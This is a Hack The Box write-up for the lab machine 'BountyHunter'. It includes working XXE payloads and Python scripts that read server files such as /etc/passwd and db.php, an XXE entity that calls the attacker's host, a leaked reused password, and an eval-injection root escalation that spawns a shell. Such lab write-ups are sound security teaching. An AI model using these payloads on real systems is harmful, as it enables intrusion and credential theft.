Home BountyHunter HTB
Post
Cancel

BountyHunter HTB

BountyHunter

[Pasted image 20210725074226.png]

Fairly Easy box with a knowledge of XXE and reversing python scripts.

  • Nmap
  • Recon
  • XXE Injection
  • FootHold
  • Root Privilege Escalation

As usual let’s start with nmap

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
# Nmap 7.80 scan initiated Sun Jul 25 00:30:37 2021 as: nmap -Pn -sCV -p22,80 -oN nmap/Basic_10.129.144.35.nmap 10.129.144.35
Nmap scan report for 10.129.144.35
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

We have only two ports open Port 22 and 80.

Enumeration

Port 80 We have a website running on port 80. Let’s scroll through and see if we have anything interesting going on the webpages.

Searching for any hidden directories.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:~/ctf/htb/BountyHunter# ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.144.35/FUZZ  -o gobuster_php

        /'___\  /'___\           /'___\                                           
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\                                           
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/                                           
         \ \_\   \ \_\  \ \____/  \ \_\                                           
          \/_/    \/_/   \/___/    \/_/        

       v1.3.1-dev
________________________________________________
 :: Method           : GET
 :: URL              : http://10.129.144.35/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Output file      : gobuster_php
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________
resources               [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 691ms]
assets                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 206ms]                                               
css                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 412ms]       
js                      [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 208ms]                                          

[Pasted image 20210725075822.png]

Scrolling through pages, I found portal.php which is under development is taking to another page where we can submit a form.

[Pasted image 20210725075848.png]

[Pasted image 20210725075911.png]

We have resources directory found from our directory busting. Let’s have a look at it.

[Pasted image 20210725080203.png]

We have a readme file. It will be useful if we can see any version information of the webpages

[Pasted image 20210725080250.png]

We did not find any version info, but we have some kind of task list.

Let’s get back to login form again and try submitting the form with somedetails and intercept in burpsuite.

[Pasted image 20210725080555.png]

[Pasted image 20210725080623.png]

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.129.144.35
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.144.35/log_submit.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 223
Connection: close

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50aXRsZTwvdGl0bGU%2BCgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz5jdnNzPC9jdnNzPgoJCTxyZXdhcmQ%2BMTIwMCQ8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D

It’s posting to /tracker_diRbPr00f314.php page in a base64 encoded format.

[Pasted image 20210725080804.png]

The details which we submitted are send in XML format. So we must be have a javascript at client end which does this formation.

[Pasted image 20210725080914.png]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//http://10.129.144.35/resources/bountylog.js
function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>${$('#exploitTitle').val()}</title>
		<cwe>${$('#cwe').val()}</cwe>
		<cvss>${$('#cvss').val()}</cvss>
		<reward>${$('#reward').val()}</reward>
		</bugreport>`
		let data = await returnSecret(btoa(xml));
  		$("#return").html(data)
	}
	catch(error) {
		console.log('Error:', error);
	}
}

All the script does is takes the input from user and converts it base64 encode using btoa function.

So after looking at the XML, one thing always strikes Try for a XXE injection

FootHold

Construction of payload

1
2
3
4
5
6
7
8
9
<!DOCTYPE tinyb0y[
<!ELEMENT tinyb0y ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>aaa</title>
<cwe>&xxe;</cwe>
<cvss>a</cvss>
<reward>12000</reward>
</bugreport>

convert-payload to base64

1
PCFET0NUWVBFIHRpbnliMHlbCjwhRUxFTUVOVCB0aW55YjB5IEFOWSA+CjwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+IF0+CjxidWdyZXBvcnQ+Cjx0aXRsZT5hYWE8L3RpdGxlPgo8Y3dlPiZ4eGU7PC9jd2U+CjxjdnNzPmE8L2N2c3M+CjxyZXdhcmQ+MTIwMDA8L3Jld2FyZD4KPC9idWdyZXBvcnQ+

Send the previous burp request and to repeat (ctrl + R) and modify the payload

[Pasted image 20210725081439.png]

We have a successful XXE injection.

So now let’s automate this process using python as it difficult to convert and again post it through burp everytime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from base64 import b64encode
import requests
from bs4 import BeautifulSoup


URL = "http://10.129.144.35/tracker_diRbPr00f314.php"


while True:
	FILE_TO_READ = raw_input(">")
	payload = '<!DOCTYPE foo[\
	<!ELEMENT foo ANY >\
	<!ENTITY xxe SYSTEM "file://{}"> ]>\
	<bugreport>\
	<title>aaa</title>\
	<cwe>&xxe;</cwe>\
	<cvss>a</cvss>\
	<reward>12000</reward>\
	</bugreport>'.format(FILE_TO_READ)

	encoded_payload = b64encode(payload)
	# print(encoded_payload)

	r = requests.post(URL, data={'data':encoded_payload})
	soup = BeautifulSoup(r.text, 'lxml')
	rows = soup.find_all('td')
	print(rows[3])

This python script takes our input and converts the payload as required and sends it to server and get’s back revelant content for us

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root@kali:~/ctf/htb/BountyHunter# python exp.py 
>/etc/passwd
<td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</td>
>

We have a development user account on the machine.

1
2
3
4
5
6
7
root@kali:~/ctf/htb/BountyHunter# python exp.py 
>/etc/apache2/sites-enabled/000-default.conf
<td></td>
>/var/www/html/index.php
<td></td>
>/home/development/.ssh/id_rsa
<td></td>

I tried to read the apache configuration, in order to read the exact path location where the server files are hosted but i wasn’t successful in reading.

After observing, I was trying with a different payload using xxe for generate a request to my machine. If we have a request to our server then we might have SSRF.

XXE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from base64 import b64encode
import requests
from bs4 import BeautifulSoup


URL = "http://10.129.144.35/tracker_diRbPr00f314.php"


while True:
	FILE_TO_READ = raw_input(">")
	payload = '<!DOCTYPE foo[\
	<!ELEMENT foo ANY >\
	<!ENTITY xxe SYSTEM "http://10.10.14.178/{}"> ]>\
	<bugreport>\
	<title>aaa</title>\
	<cwe>&xxe;</cwe>\
	<cvss>a</cvss>\
	<reward>12000</reward>\
	</bugreport>'.format(FILE_TO_READ)

	encoded_payload = b64encode(payload)
	# print(encoded_payload)

	r = requests.post(URL, data={'data':encoded_payload})
	soup = BeautifulSoup(r.text, 'lxml')
	rows = soup.find_all('td')
	print(rows[3])

I requested for a page which doesn’t exist on my system and the remote machine request a page from my system. Now we can ask the server to request the our page and load it. let’s try if it works.

[Pasted image 20210725082712.png]

[Pasted image 20210725082729.png]

It loaded the page but there was no reverse shell from the remote page. [Pasted image 20210725082928.png]

As we load any page either local or remote, but we are mostly interested in loading the local file on the server. We can use php-filters which encode the page in base64 and send us the page.

[Pasted image 20210725083247.png]

Yay!!! Now we can read the server files which are hosted without knowing the exact path. Let’s rewrite the script to request and convert the payload from base64 into readable format for us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from base64 import b64encode,b64decode
import requests
from bs4 import BeautifulSoup


URL = "http://10.129.101.90/tracker_diRbPr00f314.php"


while True:
	FILE_TO_READ = raw_input(">")
	payload = '<!DOCTYPE foo[\
	<!ELEMENT foo ANY >\
	<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={}"> ]>\
	<bugreport>\
	<title>aaa</title>\
	<cwe>&xxe;</cwe>\
	<cvss>a</cvss>\
	<reward>12000</reward>\
	</bugreport>'.format(FILE_TO_READ)

	encoded_payload = b64encode(payload)
	# print(encoded_payload)

	r = requests.post(URL, data={'data':encoded_payload})
	soup = BeautifulSoup(r.text, 'lxml')
	rows = soup.find_all('td')
	filtered = b64decode(rows[3].string)
	print(filtered)

Using the script, i loaded the db.php file which has a user and password

[Pasted image 20210725083542.png]

Now let’s see if the development user has used the same password.

1
2
User: development
Pass: m19RoAU0hP41A1sTsq6K

[Pasted image 20210725083742.png]

Yep! The user used the same password.

Quick Tip: Never use same password for configuration and logins

[Pasted image 20210725084021.png]

We have our user flag. Now let’s escalate to root.

Root Privilege Escalation

1
2
3
4
5
6
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

We can run a python script /opt/skytrain_inc/ticketValidator.py as root on the remote server but we oon’t have permission to write to this file.

[Pasted image 20210725084237.png]

Let’s have a look at the script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]            
            if int(ticketCode) % 7 == 4:                
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = "390681613.md"#input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

The script reads a ticket file and does some checks and then return the value on the terminal.

[Pasted image 20210725084413.png]

Then interesting thing is it uses eval function

[Pasted image 20210725084547.png]

After going through how the code works, I generated a payload

1
2
3
4
5
6
7
8
development@bountyhunter:~$ cat sample.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+410+86+int(eval("__import__('os').system('whoami')"))**
##Issued: 2021/04/06
#End Ticket

[Pasted image 20210725084952.png]

We are root.

So let’s try to get a bash shell

1
2
3
4
5
6
7
development@bountyhunter:~$ cat sample.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+410+86+int(eval("__import__('os').system('bash -p')"))**
##Issued: 2021/04/06
#End Ticket

[Pasted image 20210725085132.png]

And we the flag.

Fairly good box, with XXE explot and analysing code.

Any suggestions, please do write me at tinyb0y@protonmail.com

This post is licensed under CC BY 4.0 by the author.